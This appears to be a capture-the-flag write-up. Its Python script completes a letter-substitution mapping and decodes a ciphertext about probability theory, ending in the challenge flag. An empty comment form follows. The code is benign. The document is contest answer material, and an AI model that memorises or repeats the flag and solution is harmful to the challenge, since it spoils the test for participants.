k_dist['q'] = 'h'  
k_dist['l'] = 'e' 
k_dist['t'] = 's' 
k_dist['y'] = 'i'
k_dist['c'] = 'd'
k_dist['a'] = 'z'
k_dist['w'] = 'r' 
k_dist['b'] = 'n'
k_dist['n'] = 'v' 
k_dist['z'] = 'b'
k_dist['u'] = 'y' 
k_dist['m'] = 'l'
k_dist['f'] = 'p'  
          
 
print(k_dist) 
secret = "fwgzszymyeu eqlgwu, s zwsbkq gd vseqlvseykt kgbklwblc xyeq eql sbsmutyt gd wsbcgv fqlbgvlbs. eql grekgvl gd s wsbcgv lnlbe ksbbge zl clelwvyblc zldgwl ye gkkrwt, zre ye vsu zl sbu gbl gd tlnlwsm fgttyzml grekgvlt. eql skersm grekgvl yt kgbtyclwlc eg zl clelwvyblc zu kqsbkl. eql xgwc fwgzszymyeu qst tlnlwsm vlsbybht yb gwcybswu kgbnlwtseygb. exg gd eqltl swl fsweykrmswmu yvfgwesbe dgw eql clnlmgfvlbe sbc sffmykseygbt gd eql vseqlvseyksm eqlgwu gd fwgzszymyeu. gbl yt eql ybelwfwleseygb gd fwgzszymyeylt st wlmseynl dwlarlbkylt, dgw xqykq tyvfml hsvlt ybngmnybh kgybt, kswct, cykl, sbc wgrmleel xqllmt fwgnycl lisvfmlt. eql cyteybkeynl dlserwl gd hsvlt gd kqsbkl yt eqse eql grekgvl gd s hynlb ewysm ksbbge zl fwlcykelc xyeq klwesybeu, smeqgrhq eql kgmmlkeynl wltrmet gd s mswhl brvzlw gd ewysmt cytfmsu tgvl wlhrmswyeu. dgw lisvfml, eql teselvlbe eqse eql fwgzszymyeu gd “qlsct” yb egttybh s kgyb larsmt gbl-qsmd, skkgwcybh eg eql wlmseynl dwlarlbku ybelwfwleseygb, yvfmylt eqse yb s mswhl brvzlw gd egttlt eql wlmseynl dwlarlbku xyeq xqykq “qlsct” skersmmu gkkrwt xymm zl sffwgiyvselmu gbl-qsmd, smeqgrhq ye kgbesybt bg yvfmykseygb kgbklwbybh eql grekgvl gd sbu hynlb egtt. eqlwl swl vsbu tyvymsw lisvfmlt ybngmnybh hwgrft gd flgfml, vgmlkrmlt gd s hst, hlblt, sbc tg gb. skerswysm teselvlbet szgre eql mydl liflkesbku dgw flwtgbt gd s klwesyb shl cltkwyzl eql kgmmlkeynl liflwylbkl gd s mswhl brvzlw gd ybcynycrsmt zre cg bge frwfgwe eg tsu xqse xymm qsfflb eg sbu fsweykrmsw flwtgb. tyvymswmu, fwlcykeygbt szgre eql kqsbkl gd s hlbleyk cytlstl gkkrwwybh yb s kqymc gd fswlbet qsnybh s jbgxb hlbleyk vsjlrf swl teselvlbet szgre wlmseynl dwlarlbkylt gd gkkrwwlbkl yb s mswhl brvzlw gd kstlt zre swl bge fwlcykeygbt szgre s hynlb ybcynycrsm. krveked{fwgzszymyeu_eql0wu1trtldrm}"
not_secret = ''
for s in secret:
    if 'a' <= s <= 'z':
        not_secret += k_dist[s]
    else:
        not_secret += s
print(not_secret)

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!